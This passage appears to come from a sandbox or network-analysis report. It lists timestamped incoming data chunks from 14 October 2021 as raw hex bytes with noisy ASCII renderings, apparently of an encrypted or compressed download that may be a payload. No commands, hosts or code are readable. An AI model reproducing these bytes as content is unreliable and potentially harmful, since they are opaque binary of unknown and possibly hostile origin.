75 76 f7 1d ba f0 f7 4e 11 89 33 98 d6 8f ba 50 73 5a a1 60 a9 0b 3b 35 dc 36 68 2c e2 13 c7 0b 8b 73 45 54 99 41 87 10 
c6 97 bf 75 20 0b 75 7c cf 65 c8 8b 1f f7 1d 1b d0 25 61 2f a4 07 b5 5b 47 92 da 9a 63 b4 70 c1 0c 30 d0 ba 16 a8 1d 53 6f 
ac d7 55 a9 07 19 8a ff 2f 12 90 29 77 01 37 fb ba b5 17 fd e6 8c 14 44 9d d0 53 5f 11 60 ab db 04 3f 4f 24 ca 18 2c 68 2d 
51 4e 61 e3 d6 53 e3 3e 98 9a 3c 59 c8 5f bb f1 80 
Data Ascii: mfp%a8l<NbF6a$KygXw?,{iuI'Ds"OZFrph~DK>J=gZAZ0FuvN3PsZ`;56h,sETAu u|e%a/[Gcp0SoU/)w7DS_`?
O$,h-QNaS><Y_

2021-10-14 01:28:02 UTC 140 IN Data Raw: 03 78 62 b2 e3 e7 4e 8a 2d 3c f9 f5 66 9a 43 20 3a d3 35 e9 26 11 3d 49 8a 35 69 ce 3c 01 41 7a 70 6d 6a d5 
4c 23 e1 38 16 81 92 dd cb 5f 48 dc 6c a5 60 6e 4b ad 58 73 f1 12 ff 26 12 7a 3c 5f bb 1b 31 d6 e2 1a 3c cb c0 79 fb d8 93 
70 86 8e d9 da e5 40 89 10 29 66 7b b2 79 3e 58 e9 03 31 96 bb 1b 4c f5 26 dd 0d 2b f1 0a a0 71 23 ad 1f fa 67 d7 fd 47 
39 f7 70 a7 41 8b 5e 35 78 9a eb 77 a0 b3 64 fc f1 83 e8 f2 64 45 d9 46 e4 7c 04 b6 83 e3 ef da 85 f6 0c 9d e3 2b 82 6f f2 
d4 2f bc 0b 4b 95 e4 89 5f ca 35 03 01 da ae b4 5d 79 14 1d 48 9a aa 7b f9 87 f1 16 be de 91 e0 67 fc 4f 6c c7 d6 77 e5 
ba 89 31 60 25 5a 47 b3 d8 99 fe 09 50 11 66 5b 79 53 ad f3 34 ba 9e 11 0d 6a f7 d3 df ae b0 44 13 9a ab 99 37 65 38 4b 
f7 1f 1d 03 85 52 6d 26 35 f4 a7 1d a7 f9 c4 39 69 
Data Ascii: xbN-<fC :5&=I5i<AzpmjL#8_Hl`nKXs&z<_1<yp@)f{y>X1L&+q#gG9pA^5xwddEF|+o/K_5]yH{gOlw1`%ZGPf
[yS4jD7e8KRm&59i

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 141 IN Data Raw: 8f 1c 60 44 11 40 57 32 a3 c2 b4 00 9d 47 66 d3 92 67 4e 9e 72 50 89 ef cd 7e 58 7d e5 c4 cb a5 12 12 75 ad 
12 e4 ed 19 45 a5 5b 82 0b fe 52 0f 71 73 54 43 1c ba d0 10 07 08 89 2c 8e d6 8f ba 50 73 5a a1 60 a9 0b 3b 35 dc 82 6b 
2c e2 13 c7 0b 8b 73 45 e0 9a 41 87 10 4c 92 bf 75 21 0b 75 7c cf 65 c8 8f 1f f7 1d 1b d0 25 dd 2c a4 07 b5 5b 47 91 da 
9a df b7 70 c1 0c 85 d5 ba 16 a0 3e 56 40 ae d1 79 01 fb fe 12 fe 2b 36 09 2d 75 01 ad 44 b2 89 20 fb 7f 88 16 44 bd 93 
a8 43 11 7c 98 de 2b 3d 49 08 62 e0 cb f0 2c 55 6a fb e4 d4 53 79 81 90 a6 08 5f 52 58 b9 f1 a0 e6 16 5f fe 2d c6 cc 3b fe 
4b 66 cc 2c 97 1f 5f d6 38 b4 85 df 1d 8e 14 3f 74 26 b0 f6 13 21 5c 64 ab 52 97 d1 ef 26 a2 be 69 a3 ae f6 2f 07 cb 8a ee 
2c 78 66 01 a7 48 a7 a8 06 dd 22 92 a0 b1 94 e3 63 
Data Ascii: `D@W2GfgNrP~X}uE[RqsTC,PsZ`;5k,sEALu!u|e%,[Gp>V@y+6-uD DC|+=Ib,UjSy_RX_-;Kf,_8?t&!\dR&i/,xfH"c

2021-10-14 01:28:02 UTC 143 IN Data Raw: 4a b4 ae 3f cb c2 73 a1 a7 0a 71 1c af d4 e3 c1 60 55 8b 0c 4b 49 b0 42 16 5a fe 2b 3c 91 a4 1d 66 68 00 6c 
21 29 f5 2c 57 f6 5d 34 84 df 4e e6 f2 65 e4 f6 ea 82 4c bc 63 15 51 8f c3 5a 82 ee 7d d6 73 e2 0b db 49 43 f9 9e cf fa 7a 
b5 a7 ce fa dc 8f 2a 0d 9d 79 2e 89 66 d4 f4 1d 96 26 49 b5 35 bc d9 b4 b3 5a 29 f3 8c 6b 5a 53 92 f9 f4 b6 b8 59 f9 73 f2 
16 be 64 9c d6 75 da 70 4c ed fb 75 c5 93 83 b7 1e a3 03 6f 9a fa 79 f9 23 d2 f5 da 77 6b 71 ad 3f 37 ba 9e ab 1b 5c e6 f5 
e0 92 9a 69 11 ba 2a 93 b1 1b ba 62 da 19 3d e4 ae d4 13 25 11 d9 b1 1b aa 1a c5 39 f3 0a 7b 85 51 94 4b 8f 8a be d9 a5 
a4 f3 73 37 19 29 39 ad 61 01 a5 ca 8e b3 ed 65 80 ef 62 fa a4 a0 eb a6 00 e5 db 39 a7 ea 4f 11 a0 85 08 0f 18 14 f7 86 
1e 15 29 b9 a9 69 38 73 cd c6 fc f6 12 c2 86 68 
Data Ascii: J?sq`UKIBZ+<fhl!),W]4NeLcQZ}sICz*y.f&I5Z)kZSYsdupLuoy#wkq?7\i*b=%9{QKs7)9aeb9O)i8sh

2021-10-14 01:28:02 UTC 144 IN Data Raw: 23 1e 10 b3 19 31 fc 9f 41 01 e0 89 e4 0c 1c 2b fc e2 98 45 a7 7f 9f 8e bf ef 18 0e 4a 58 ef 2c e0 09 61 4e dd 
39 d4 05 c6 25 8c 2a 2d 7e 6c a9 7a c4 42 b4 70 c5 0c 02 cb ba 16 25 10 53 7f 8a f1 2f 29 79 80 ab 33 09 32 29 37 53 29 
80 dc 97 a2 1b 5b 21 14 15 44 b9 93 1b 5d 11 7c 19 d3 2b 2d 6f 2e 19 64 b5 69 0d a5 4c db e2 c9 58 51 36 b7 8b 1c 53 f4 
20 22 f0 a0 c2 d1 11 fc 2d d9 5a 36 fe 5b 40 ea 54 13 61 c6 f7 c3 92 a5 d8 00 94 3c 88 53 0b a4 fa b5 58 c7 65 ab 76 44 
9e ed 26 bd 32 64 a3 be d0 09 7e 4b f4 77 0d 6d 41 21 af 55 bf 80 b1 fa 0f 85 ac 17 e2 78 62 f5 eb c9 d8 7e 3e 3c d0 fe 71 
71 b5 95 58 09 75 8a 87 a3 ac 80 57 af af cf 52 5c 40 e4 34 5f 25 5f 1b ac 20 a6 c9 be f1 ba 25 06 e0 b2 d3 e6 fd 46 6b b7 
d7 59 cf c4 94 c2 9d 59 36 37 96 e1 f6 0a fe af 
Data Ascii: #1A+EJX,aN9%*-~lzBp%S/)y32)7S)[!D]|+-o.diLXQ6S "-Z6[@Ta<SXevD&2d~KwmA!Uxb~><qqXuWR\@4_%_ 
%FkYY67

2021-10-14 01:28:02 UTC 145 IN Data Raw: fd eb d6 49 53 df b8 90 7e 04 2c 86 c2 db fc a5 37 01 b5 ce 09 a4 72 d8 52 49 0d 27 49 91 c2 d5 db b4 ac 98 
24 f3 9c 4d 7c 0f 16 87 6d 97 a0 78 d9 58 ef 1d 96 d3 bb fb 61 d6 d6 19 76 fa 75 e1 9c d4 b5 1e bc c1 62 9a ea 5f df 7e 52 
8b 43 56 48 50 8d 13 2a aa b6 1c 3c 71 f1 f9 46 c0 01 68 11 9e 8d cb b3 1b a1 d0 d2 36 2f c4 a4 2a 6f bc 10 f9 86 1e 87 
18 da 18 41 02 54 97 71 9e e0 f3 13 bf f9 2d a4 8a 71 28 14 9b 31 82 73 21 af 35 f2 2a ec 45 d0 ea 4c f8 bb a9 59 ae 2f f7 
fb 33 0f 96 d6 10 80 18 08 75 1a 0b fa 34 16 3a 3b 99 a3 95 44 ea cc e6 a5 f3 3d c0 99 49 2d 90 71 44 ea 50 e5 cf 78 0c 
09 cb b1 88 37 da 7f 4d 5e 20 85 33 a2 5f 63 1c f7 c1 ff 31 ee 10 67 15 52 5a be c5 c5 5a fb 02 cf 07 1f 77 d5 95 f1 c4 ee 
92 d8 ae 58 eb 91 44 98 0d 60 31 7f 21 0a 39 9f 
Data Ascii: IS~,7rRI'I$M|mxXavub_~RCVHP*<qFh6/*oATq-q(1s!5*ELY/3u4:;D=I-qDPx7M^ 3_c1gRZZwXD`1!9

2021-10-14 01:28:02 UTC 146 IN Data Raw: 53 8e 15 fd e3 14 2c d9 5f 5b 56 ce 8b 5e 20 e1 3c 16 34 b5 dd cb d8 45 dc 7f 83 46 9f cc d3 c1 52 d3 0d df aa 
08 52 11 c7 9e 30 09 72 bc 0f 3f cb c4 79 52 ff 93 70 03 a5 dc e6 c1 60 53 3b af 18 c2 97 62 3a 78 73 29 1c 94 21 38 4b 
65 7e 64 81 29 f5 2a 5d f3 05 ad 85 c0 5c ee f6 65 e4 f0 5a 21 1f 37 44 35 7c ad 4d 58 a2 b3 f8 f3 5e ef 57 d3 ea 43 f9 98 
c5 e5 22 2c a6 d1 eb d4 88 2a 0d 9b c9 89 da ed f3 d4 33 b4 a9 4b 95 e2 39 fc 99 bd 24 21 51 8c 6b 5c 59 ba a1 6d b7 af 
75 f4 5a f0 10 94 7c c7 62 66 fc 54 47 7f f9 75 e5 26 86 9a 0f 9a 7b d7 b5 f8 79 df a6 76 8b 43 6e 43 58 8f 13 33 90 1c 4f 
a7 70 f7 d7 e0 2f 9a 69 11 00 88 9e a0 3d 81 db f5 1b 3d c2 35 74 6d bc 07 f1 98 39 87 1e ef bb 17 b6 57 97 73 94 f4 8f 8a 
be 63 0c a9 e2 55 08 86 03 14 af 41 b5 a9 4c 
Data Ascii: S,_[V^ <4EFRR0r?yRp`S;b:xs)!8Ke~d)*]\eZ!7D5|MX^WC",*3K9$!Qk\YmuZ|bfTGu&{yvCnCX3Op/i==5tm
9WscUAL

2021-10-14 01:28:02 UTC 147 IN Data Raw: f3 57 5b 69 44 ee e6 79 a1 38 94 2b 87 34 e4 e9 20 6f 8a 59 82 97 f1 f9 63 ce 52 56 45 3c 09 f2 d7 1b 92 ac 1e 
96 d8 82 0b 52 75 70 03 a8 17 0a 3b 2e e4 a9 44 2e e2 8f c8 a0 e4 cc 64 e3 9c 61 33 32 9d 8e 25 50 10 31 7e 5e 7b 61 
e2 09 41 a0 3b 1b d4 1a d4 06 89 05 2f 78 40 01 82 23 da b5 74 e1 99 50 c9 ba 8c 9a 18 6f 4b 8c 64 7d 2b 79 a0 50 d8 2b 
32 30 00 5a 03 ad d8 bd 26 4f 44 5e 8d 10 64 0b b1 4a 5f 8b 59 ae e7 20 1f ff 0c 48 66 95 b7 0a 55 6e c2 ca fb 51 79 1d 9f 
0d 64 e0 73 5e bf d1 17 c4 f1 43 64 08 f4 d2 35 f3 fe 64 ca 06 31 80 e1 d7 38 af ac f0 32 8c 14 a3 7b 89 dc 49 32 26 5a 44 
13 70 64 cd 75 03 90 b9 67 ae 14 f4 29 2d 69 1e 50 2d 78 7c 09 82 48 a7 ae b6 7e 71 1a 87 91 98 c1 da f7 ef e9 16 59 13 
2e 6c fb e5 61 93 b5 2c f9 52 8a a7 91 83 a8 7a b2 
Data Ascii: W[iDy8+4 oYcRVE<Rup;.D.da32%P1~^{aA;/x@#tPoKd}+yP+20Z&OD^dJ_Y HfUnQyds^Cd5d182{I2&ZDpdug
)-iP-x|H~qY.la,Rz

2021-10-14 01:28:02 UTC 148 IN Data Raw: fb 3f 58 fa 0b c5 96 bb 1d fc 52 75 56 2a 0b 2c 28 7d 70 03 47 af df 4a d9 fa 4f c9 f4 70 a1 4b 28 3b ac 79 8d c7 
7a 78 b1 62 d6 e9 d8 5c e1 42 61 23 9a e5 7c 24 27 8d ce fe e3 ac 00 20 9f e3 0d 8e f2 8c 4d 36 94 22 69 4e e0 a3 d9 2e 
89 2f 13 f8 ae b0 5e 79 14 a7 79 9c b8 5d c6 52 d8 3b bc fe bf d1 e1 82 c9 66 ef ff 55 39 be a3 b7 84 99 76 55 91 d8 a5 fd 
09 50 ab 5d 5d 6b 75 92 37 1d 97 9c 31 38 5b 71 ad 59 bf 98 6d 31 47 af b3 b1 81 84 67 e5 3d 1d 3f 86 52 6d 9c 52 f2 b5 
3b 98 11 ed 14 6b 2f 50 bd f1 ca ff 8c 8a ba d9 f7 86 f3 73 b2 31 2c 06 89 41 d9 8d 4c f0 0a a7 4e 84 cf 53 f3 8c 8d 73 83 
2b dd 7b 67 10 e9 4f 15 a0 c3 2a 0f 18 91 df 83 21 31 09 60 81 ef 46 ca 9a ed f8 d6 22 cf ae 45 07 bd 75 6e 6a 04 fa b0 e1 
09 29 2f 93 f3 35 40 5a fa 69 2b b7 f5 80 
Data Ascii: ?XRuV*,(}pGJOpK(;yzxb\Ba#|$' M6"iN./^yy]R;fU9vUP]]ku718[qYm1Gg=?RmR;k/Ps1,ALNSs+{gO*!1`F
"Eunj)/5@Zi+

2021-10-14 01:28:02 UTC 150 IN Data Raw: a3 bd 75 3b 09 de 00 56 62 e2 0d 41 6e 1f 1b d4 9f fc 03 b6 21 0f 7e 69 83 fc 9a 25 99 70 c1 33 5c e1 97 14 bf 
33 54 eb d2 48 7e 2b 7d a0 8a fc 2b 32 b3 0d 5a 13 8b fe 96 a7 31 dd 7f 81 39 44 bd ac 40 77 3c 7e 83 f0 2c bd 37 97 49 
66 b1 49 2f 56 6e db 78 f3 7e 68 3d 95 89 19 79 72 7e ad dc a0 c6 ef 6b d3 2f d9 c6 39 55 37 ff cb 06 15 41 c5 d4 38 b0 3f 
fd 32 9c 32 85 52 08 a2 d0 13 38 73 64 ab 6d 75 e5 c2 24 bd ae 6b 08 d2 6f 28 2d 4d d4 73 2e 78 62 bb 8a 67 b5 8e bc fc 
0c 83 86 b1 b3 cc 63 f5 f0 f8 a4 51 3c 3c 4c f1 da 1d 0a b4 0c 0f 55 8f a4 8e 8f 1a 72 9d a9 c1 5f 5b 43 e2 1e fd 1b eb 1a 
ac 3b 89 b4 91 f3 ba b9 09 4b dd 6c c7 a8 40 4b b1 f4 18 ec 5e b1 f1 a7 52 14 31 93 cb 70 54 28 83 b7 95 88 1e 44 7e f6 
f3 25 50 f6 05 d3 05 13 1d c3 35 19 cd d6 20 46 
Data Ascii: u;VbAn!~i%p3\3TH~+}+2Z19D@w<~,7IfI/Vnx~h=yr~k/9U7A8?22R8sdmu$ko(-Ms.xbgcQ<<LUr_[C;Kl@K^R
1pT(D~%P5 F

2021-10-14 01:28:02 UTC 151 IN Data Raw: 81 db 3d 8e 05 7f b9 ce 9d f3 9e ae 38 29 e0 80 50 63 5b 36 a3 34 e8 23 c4 46 df 6e 97 22 7d 2a 30 b3 29 86 
fa 64 71 99 2e 43 4f 68 e2 2e 85 9a 69 14 9b 04 e8 b7 7b 85 b8 a0 a8 23 b6 99 71 4e fd f3 d0 26 3d 2a 08 30 ad d9 71 5c 
4f 48 f5 40 b6 15 c4 ca 18 75 e7 ca 15 ad 5e 30 ba 04 82 49 99 c6 8d ff 2f be 0e b2 0c 1b 37 27 af 01 77 f8 f6 a9 bd cf 3c 
f1 d2 2d ef 15 8e 4f 87 3b 71 cd 54 0b 0a de 21 88 42 57 ae 38 52 f0 ba 35 ae 94 f3 b2 b3 5c 2a a4 91 40 cb 85 ac 18 a0 
87 b8 b9 87 78 84 ce 3c 49 f7 3d 16 b9 22 3a eb f2 5a 4b 99 c6 ed 6f 82 2c cc 05 6b ef 57 c0 60 21 4e db 8a f5 78 84 2b 
14 4c 0d 00 9a e0 f2 07 11 0c 28 2b 43 0d 84 8a 82 a9 f0 4c fd 9e 4a ce 86 08 ac 07 6d 15 85 43 23 11 dd 81 5b dd db 4a 
62 a8 ae 6b 23 ff 9c 8d f1 37 75 12 25 15 3f 02 eb 26 
Data Ascii: =8)Pc[64#Fn"}*0)dq.COh.i{#qN&=*0q\OH@u^0I/7'w<-O;qT!BW8R5\*@x<I=":ZKo,kW`!Nx+L(+CLJmC#[J
bk#7u%?&

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 152 IN Data Raw: a8 fa ba 42 2e c5 fc b7 f8 9b a2 61 ee cd 91 a0 01 1b 3f bd 82 e6 5c 78 f5 8a ac 9a 69 03 41 1c 26 b8 1e d7 33 
3f b0 38 ae 9e 03 cb d3 bc 1c 0e f6 7a 6e 03 ce 46 d6 62 91 de 61 1a f7 dd ad fa 37 fb ff 46 5c 8c 04 1a f5 0f 3f 75 92 8a 
e3 5c c9 93 d5 cc 82 00 de 21 3e 1f 55 b1 1b 01 10 1e 61 ee 65 7e 65 15 e3 ae ba c4 4e c5 f1 04 35 84 83 c2 35 0d 26 32 
2f e0 25 3f 66 fe e8 e6 52 77 b9 21 aa 72 d7 58 f8 d7 eb b4 e8 c9 6b 9b f2 9a 8e f5 0f 05 df 88 4a ac 92 e2 b9 d3 34 65 60 
ea a1 16 18 05 8d 99 eb f8 66 1c 34 86 84 72 2d 22 5a 72 3d 2d 26 df 0f 5d ad a3 d9 1b 7e ca c8 15 78 dc 94 96 ba 1b f4 
bf 4f 09 95 e0 07 21 44 87 f5 d7 55 ca 13 5f af d3 37 23 a5 51 bf 48 cb 26 1f 37 7a 8a a4 4b fa a2 1a b2 28 cf 90 9d e7 44 
7b 18 0c c4 51 6b 83 6c 3b 70 08 35 e1 72 0c 
Data Ascii: B.a?\xiA&3?8znFba7F\?u\!>Uae~eN55&2/%?fRw!rXkJ4e`f4r-"Zr=-&]~xO!DU_7#QH&7zK(D{Qkl;p5r

2021-10-14 01:28:02 UTC 153 IN Data Raw: 78 4c 17 67 41 a9 9a 2c 40 54 56 e1 0e a5 15 f5 d1 10 38 f6 c9 08 a5 21 4f 95 28 a4 64 de b2 8e b8 3b c9 44 
9e 77 6b 6a 2e a7 02 73 e8 e4 9a 8c 9b 20 f2 dc 4a 8b 25 e0 75 fc 4b 07 91 3a 22 14 b6 0e e0 2e 6c 82 12 56 ba e5 2f bd 
89 b7 f5 aa 56 02 9d a3 d3 59 65 05 ad 50 74 2e 11 28 de 69 13 8d a9 57 8b f6 56 3e 3c a7 f4 45 49 8d c8 f1 75 95 32 9e 
2e 14 90 0c 89 2c 3a 43 fe eb 9e 18 a6 66 7f 76 71 6c ef a0 a6 0c 4e 4e 3f 65 7c 05 d6 8a 9d ae 86 7e c5 bb 71 e5 98 44 
e4 27 4b 21 f4 6f 5d 18 e2 b6 7d 87 d8 4a 7a fc af 5a 19 b8 90 d7 bd 38 47 07 09 7e 5a 36 a0 44 f4 a4 a3 78 1f 31 64 0f 7b 
8c e5 2e 51 7d f5 42 16 2c 7c 01 ed e3 c4 80 0c 29 90 8b ef 34 00 e8 a2 8b 64 8a b9 9f 68 90 4c b3 c9 df 30 c3 a4 39 9e 
83 d5 b3 ff 6f 17 32 5e 73 a3 a2 3c 37 fd d1 11 fe af 
Data Ascii: xLgA,@TV8!O(d;Dwkj.s J%uK:".lV/VYePt.(iWV><EIu2.,:CfvqlNN?e|~qD'K!o]}JzZ8G~Z6Dx1d{.Q}B,|)4dhL09o2^
s<7

2021-10-14 01:28:02 UTC 155 IN Data Raw: 0b 5c 96 53 45 b2 75 57 09 dc cf f1 0a 8d d1 ce cd ac 20 c5 3d 28 05 46 bc 11 08 11 12 69 e3 60 66 78 12 eb af
9f c2 5b c3 e6 11 26 89 91 e1 2d 09 19 30 2f f4 09 13 55 dd ed f2 53 b6 6b fa 43 b7 15 91 2d 26 16 1d 58 1a c2 2d 3a 52 
77 0f 0f 60 cc aa 57 a1 84 dc a2 da 3b 76 70 db cf 06 3a 3d e2 eb 89 cd 43 32 13 be b3 66 29 27 10 14 6b 61 33 d0 1e 3d 
ef f1 87 49 2a ee fa 27 51 80 f3 fc ca 45 a4 df 33 27 a8 f4 44 45 2f e2 a5 97 5d d1 02 4a a6 aa 1c 18 9b 22 ba 41 d2 1e 32 
1e 78 99 c1 5c c7 81 33 a4 21 fb a6 e0 b5 5d 45 2d 17 ee 4b 65 9e 77 24 24 06 16 c3 08 05 c4 7e a1 00 5f 8b 0b 43 5d 10 
1e 25 8f d6 b4 42 82 59 4e c4 0c 36 24 46 fa 1f 92 14 ce 26 dd 3a cd b3 4e 85 71 d8 81 a9 9b b6 6f c1 cc 8b 5a 46 aa 2c 
14 b0 d9 23 7f de dd 48 0d 2c 73 a3 97 d3 9b d6 e7 
Data Ascii: \SEuW =(Fi`fx[&-0/USkC-&X-:Rw`W;vp:=C2f)'ka3=I*'QE3'DE/]J"A2x\3!]E-Kew$$~_C]%BYN6$F&:NqoZF,#H,s

2021-10-14 01:28:02 UTC 156 IN Data Raw: 60 4f 9d 1b 7a d9 9a 3b 83 b4 84 83 87 75 16 b4 80 b6 3c 14 44 d4 7e 6a 66 5f 71 af 7f 38 ca a1 17 df e0 59 e1 
d4 00 5a a4 a5 46 3d 43 8f 6e c1 61 96 fe 69 99 17 dc 31 07 f2 f1 f3 14 9e 13 07 35 73 74 c6 80 95 3a 34 34 0b 5b 40 38 
a8 fa a5 95 bf 4c bf db 1b 91 d7 5f d4 65 02 75 ba 67 28 78 fa f0 36 ff bd 3b 0e c3 85 3b 71 fb e9 e5 cb 4b 30 78 35 06 4c 
39 ae 1b b1 fd bf 0f 0d 4e 22 01 7f cd 88 4d 7b 54 cd 6d 7b 18 01 08 fd 87 ad e6 79 49 90 fb a1 15 1d 90 ae d5 4a d2 f5 d4 
31 97 73 f8 d4 20 99 26 51 fe 5e 24 7b 5f 1c d1 fd 86 a3 85 60 43 cd 86 bb 94 44 b8 ae 86 2c 13 b7 82 8c 59 0d 0d 74 e9 
4b c2 d3 da 3b 25 f6 8a 7d 9a 53 53 08 97 da 83 b5 a9 f4 bd 1a 54 72 fb eb 79 c7 60 0a 7a 4c b4 9c 98 cb ef dc f4 d4 c9 
31 62 9b d6 10 78 44 ec 02 d1 f8 64 12 dd 56 f5 
Data Ascii: `Oz;u<D~jf_q8YZF=Cnai15st:44[@8L_eug(x6;;qK0x5L9N"M{Tm{yIJ1s &Q^${_`CD,YtK;%}SSTry`zL1bxDdV

2021-10-14 01:28:02 UTC 157 IN Data Raw: 39 35 19 54 29 03 99 6b 30 54 6b 1a e2 c3 19 71 ed 44 68 38 73 05 cc ba 85 23 79 c9 d6 dd 0f ee 90 c7 55 2e 
40 b9 bd 62 36 21 34 18 1d 0b 4c ab 66 56 9b 8b ea 33 0b bd a4 05 70 bd df d0 f0 65 91 99 7d 33 ba a6 78 09 72 bb 82 
a9 32 bc 38 6b 83 f8 7b 6c f0 6e f2 39 f6 32 04 78 28 c6 b7 4a d2 89 27 d5 39 fe ba e6 e9 60 6d 19 36 fc 78 4d 8a 7d 2f 38 
35 24 fd 31 2c ca 02 ce 6c 32 c8 18 06 7d 5c 4a 61 d0 83 e4 3d f0 08 19 7e bc b8 d2 f1 5b c6 46 bf 68 b4 44 ad 65 63 f7 
2a ed 27 f0 a5 fa 98 7c d7 d9 8d 1e 12 b3 5a 3e b8 e2 0a 46 b9 cd 66 2f 07 23 8c 92 cb fa bc cd 62 b9 e5 bc 10 c0 e1 46 
1e bf 93 98 b7 f8 dd cc 01 dd 8f 85 ca 51 22 7d fa 0a 27 86 04 11 8e 43 92 04 ec 91 f2 08 4f 8a 71 70 c1 55 fd 78 ae 46 ee 
c4 6e 16 58 d0 ad 8e 10 42 70 79 3f ac 9f 03 48 a8 02 
Data Ascii: 95T)k0TkqDh8s#yU.@b6!4LfV3pe}3xr28k{ln92x(J'9`m6xM}/85$1,l2}\Ja=~[FhDec*'|Z>Ff/#bFQ"}'CO
qpUxFnXBpy?H

2021-10-14 01:28:02 UTC 159 IN Data Raw: 57 54 22 96 9f 98 b7 6e 06 1a ea f1 eb de 86 47 bf ca 04 a2 db 5d ef 17 0b 48 93 49 42 6a c7 c8 24 f4 bd 49 70 
c8 a8 29 63 cb e1 eb d4 75 15 5a 4d 19 52 0a 9d 7d 9b cc 81 40 04 2c 25 73 09 c7 de 28 1e 3b aa 1e 16 65 71 10 f9 99 
99 ac 3b 15 bc b1 a7 5d 69 8e c7 a0 48 de ee d6 21 9e 63 f9 c0 6b 80 35 41 d2 65 08 4a 6d 26 bc e2 9e a3 8d 48 45 d1 
a8 60 6d a9 47 4d 7f d2 cf 67 77 70 f7 f4 f2 9e 3e b1 3a 17 d0 2a 36 d5 91 6d 94 5a 47 19 bd d0 94 bc b9 a1 ff 5e 0b 3b f7 
e5 70 c0 62 12 47 5a a3 90 98 c5 fb dd f6 c5 de 01 68 b8 ef 04 7b 0c c6 72 a9 bc 3f 6c a1 73 cf 6b 7e 7e b1 9d 9d f8 ae 37 
8f 1a 82 e3 ea a5 94 4f 81 68 9f 33 88 bc f9 ea 02 45 1c 4d 2c e0 53 8f f2 62 21 97 3b b1 e9 f6 0b 50 da 92 d4 15 15 42 88 
98 99 8a da e0 2d 70 3f 04 98 5a c1 3b b2 f6 00 07 
Data Ascii: WT"nG]HIBj$Ip)cuZMR}@,%s(;eq;]iH!ck5AeJm&HE`mGMgwp>:*6mZG^;pbGZh{r?lsk~~7Oh3EM,Sb!;PB-p?Z;

2021-10-14 01:28:02 UTC 160 IN Data Raw: 1a 87 9c 4b 64 12 c1 80 88 1b 89 47 25 b8 d5 6f 6b be 70 f2 34 d5 10 75 64 0d f1 9b 70 85 f9 42 f5 7c 87 c3 9f 
97 56 12 4d 43 8f 0b 35 ce 13 5a 45 52 6f a2 19 2f ca 47 88 21 72 a7 3a 26 52 65 7f 51 f4 a1 8a 1f ff 2d 20 59 91 f7 d8 d0 
6c da 6a 9b 7b 92 73 80 61 74 b0 00 d0 14 28 64 3a 62 94 65 03 69 a0 ba 13 ea cb 6d 17 fb a5 78 28 62 3c 0c 1f a0 8e 93 
ee b7 97 58 ed b2 dd 2f fd c3 5d 6d c5 b5 ad c6 c3 9c b0 6b b1 f4 ee b5 36 25 76 b2 2e 26 9b 1f 14 80 40 c3 15 e1 9a d2 
22 66 e8 18 7a 8e 20 99 01 97 05 d4 99 01 7b 14 9b 80 a2 3a 07 51 70 2a a0 9c 0d 3f 8b 30 e1 77 48 f3 53 ba d9 08 69 
61 18 35 2b 80 99 46 1e a1 95 9c ac 3b d6 10 19 f6 2a a6 57 b7 0b 59 40 03 8d 42 ea cb 57 1b f9 58 07 10 16 a7 4d cf e2 
0c 5a 20 b1 53 59 88 0f 35 28 21 cb 41 60 bc c1 78 77 
Data Ascii: KdG%okp4udpB|VMC5ZERo/G!r:&ReQ- Ylj{sat(d:beimx(b<X/]mk6%v.&@"fz {:Qp*?0wHSia5+F;*WY@BWXMZ 
SY5(!A`xw

2021-10-14 01:28:02 UTC 161 IN Data Raw: 36 bc 1c 16 32 3d 1a e8 93 cd ce 55 7d c3 cd e8 32 18 e7 a9 cd 2f 9e c5 f5 00 a6 7a f5 be 17 e5 5d 30 fa 14 4e 
0d 76 7d ea 82 e0 d0 a5 2e 38 aa f9 25 04 8c 28 3c 5c dd b1 0e 3c 78 b0 b8 be d6 18 83 23 1c 67 92 f3 2d 79 8b 75 b3 bc 
ec 63 2b 65 73 73 72 39 ad ca 13 d6 c9 47 e8 59 33 7b 73 9c bb 98 d5 fc fa ce e3 e6 21 5c 9a f2 3d 75 34 f1 58 81 a0 27 
4f c4 3e 8d 23 3f 05 cb 9c ca ec c9 2b cf 50 eb 87 8a ab e2 7d a8 23 9c 5d fe 8c 8f 99 21 0b 49 2e 46 ad 49 93 d2 49 18 
9d 3f a3 ee b7 04 59 eb bb fd 14 13 62 a1 83 b0 83 e3 9d 6d 1c 39 10 a7 5a cf 05 b0 ed 06 19 d6 f6 ae d7 21 5a 89 8c e3 
a8 e8 ce 0a d3 c1 ba d0 31 5a 37 ad cb fe 57 3e e3 98 3d 4c aa f5 ec db be 0d f1 38 cb 82 07 c6 5a 71 c8 04 48 3a c0 90 
36 bd a7 db 19 8e 17 a4 54 7c cd a9 50 4a 3c 0e d3 5f 
Data Ascii: 62=U}2/z]0Nv}.8%(<\<x#g-yuc+essr9GY3{s!\=u4X'O>#?+P}#]!I.FII?Ybm9Z!Z1Z7W>=L8ZqH:6T|PJ<_

2021-10-14 01:28:02 UTC 162 IN Data Raw: 9f a7 ba 93 75 91 cd 26 7d ea 24 1c ba 21 2b f1 b3 49 51 96 c8 8a 61 b9 18 9c 1e 6a fd 77 fb 08 23 7f 95 88 f3 
7e 9f 79 4d 71 0f 1a f7 a0 ae 07 27 0d 2e 7c 4b 0b 89 e6 f6 d8 a9 27 f1 8c 4b da bc 2c 88 45 44 07 d9 1a 14 2f 85 89 59 
9b d2 73 7b b8 e8 4a 38 b9 82 b8 87 34 64 2b 3d 36 22 46 cf 24 dc d1 ee 1b 68 4a 40 09 19 a8 dd 5a 40 61 ed 06 7b 6b 
69 14 d4 1e 6d 62 f8 c1 61 4c 4b 82 bf 4f 0b 66 8d 2b 0d 3e d3 6b a9 01 37 99 4a d3 b8 2c 9a d3 dd 82 e5 48 26 49 7d 42 
96 d5 39 42 86 a4 76 82 9e a2 11 04 86 b3 bc 33 14 36 57 c6 44 f7 cc e0 1d 09 82 e0 2d da 07 51 79 f2 99 d9 f1 d2 c4 88 
38 67 41 da 9a 1f ac 15 40 3d 26 cd f3 ee a6 ab a8 90 a8 92 50 3c d2 83 59 2c 40 8a 72 f4 c7 46 30 f0 2c 9e 08 37 0b ce 
a3 9c e6 c3 69 dd 47 9c d9 d4 af 58 98 58 82 61 ff 42 6d 
Data Ascii: u&}$!+IQajw#~yMq'.|K'K,ED/Ys{J84d+=6"F$hJ@Z@a{kimbaLKOf+>k7J,H&I}B9Bv36WD-Qy8gA@=&P<Y,@r
F0,7iGXXaBm

Timestamp
kBytes
